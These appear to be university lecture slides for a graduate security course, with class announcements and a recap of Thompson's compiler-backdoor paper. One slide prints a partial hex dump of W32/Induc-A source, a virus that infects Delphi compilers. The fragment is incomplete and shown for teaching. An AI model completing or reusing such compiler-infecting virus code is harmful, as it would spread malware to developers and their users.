UNIVERSITY OF OREGON

CIS 607
Fundamental Concepts

13 October 2010
Prof. Butler

Announcements

UNIVERSITY OF OREGON

- Reminder: paper presentation preferences
  - I'm going to make assignments tonight or tomorrow night, contingent on the number of students & papers
  - Next week: Multics evaluation
    - Presentation should cover both papers (second is a retrospective of the first)
- Mailing list: Primary communication channel (in conjunction with the website)
  - Email or see me if you haven't received anything
- Background document
  - If I don't receive this I'll assume you're not taking class for credit

Last Time

UNIVERSITY OF OREGON

- Course mechanics
- Introduction to security terminology
- Thompson paper
  - W32/Induc-A is actual malware based on this approach

```
75 73 65 73 20 77 69 6E 64 6F 77 73 3B 20 | uses windows;
76 61 72 20 73 63 3A 61 72 72 61 79 5B 31 | var sc:array[1
2E 2E 32 34 5D 20 6F 66 20 73 74 72 69 6E | ..24] of strin
67 3D 28 00 00 00 FF FF FF FF 50 00 00 00 | g=(.......P...
66 75 6E 63 74 69 6F 6E 20 78 28 73 3A 73 | function x(s:s
74 72 69 6E 67 29 3A 73 74 72 69 6E 67 3B | tring):string;
76 61 72 20 69 3A 69 6E 74 65 67 65 72 3B | var i:integer;
62 65 67 69 6E 20 66 6F 72 20 69 3A 3D 31 | begin for i:=1
20 74 6F 20 6C 65 6E 67 74 68 28 73 29 20 |  to length(s)
64 6F 20 69 66 20 73 5B 69 5D 00 00 00 00 | do if s[i]....
FF FF FF FF 50 00 00 00 3D 23 33 36 20 74 | ....P...=#36 t
68 65 6E 20 73 5B 69 5D 3A 3D 23 33 39 3B | hen s[i]:=#39;
72 65 73 75 6C 74 3A 3D 73 3B 65 6E 64 3B | result:=s;end;
70 72 6F 63 65 64 75 72 65 20 72 65 28 73 | procedure re(s
2C 64 2C 65 3A 73 74 72 69 6E 67 29 3B 76 | ,d,e:string);v
61 72 20 66 31 2C 66 32 3A 74 65 78 74 66 | ar f1,f2:textf
69 6C 65 3B 00 00 00 00 FF FF FF FF 50 00 | ile;........P.
00 00 68 3A 63 61 72 64 69 6E 61 6C 3B 66 | ..h:cardinal;f
3A 53 54 41 52 54 55 50 49 4E 46 4F 3B 70 | :STARTUPINFO;p
3A 50 52 4F 43 45 53 53 5F 49 4E 46 4F 52 | :PROCESS_INFOR
4D 41 54 49 4F 4E 3B 62 3A 62 6F 6F 6C 65 | MATION;b:boole
61 6E 3B 74 31 2C 74 32 2C 74 33 3A 46 49 | an;t1,t2,t3:FI
4C 45 54 49 4D 45 3B 62 65 67 69 6E 00 00 | LETIME;begin..
00 00 FF FF FF FF 50 00 00 00 68 3A 3D 43 | ......P...h:=C
72 65 61 74 65 46 69 6C 65 28 70 63 68 61 | reateFile(pcha
72 28 64 2B 24 62 61 6B 24 29 2C 30 2C 30 | r(d+$bak$),0,0
2C 30 2C 33 2C 30 2C 30 29 3B 69 66 20 68 | ,0,3,0,0);if h
3C 3E 44 57 4F 52 44 28 2D 31 29 20 74 68 | <>DWORD(-1) th
65 6E 20 62 65 67 69 6E 20 43 6C 6F 73 65 | en begin Close
48 61 6E 64 6C 65 00 00 00 00 FF FF FF FF | Handle........
```

http://www.sophos.com/blogs/sophoslabs/v/post/6117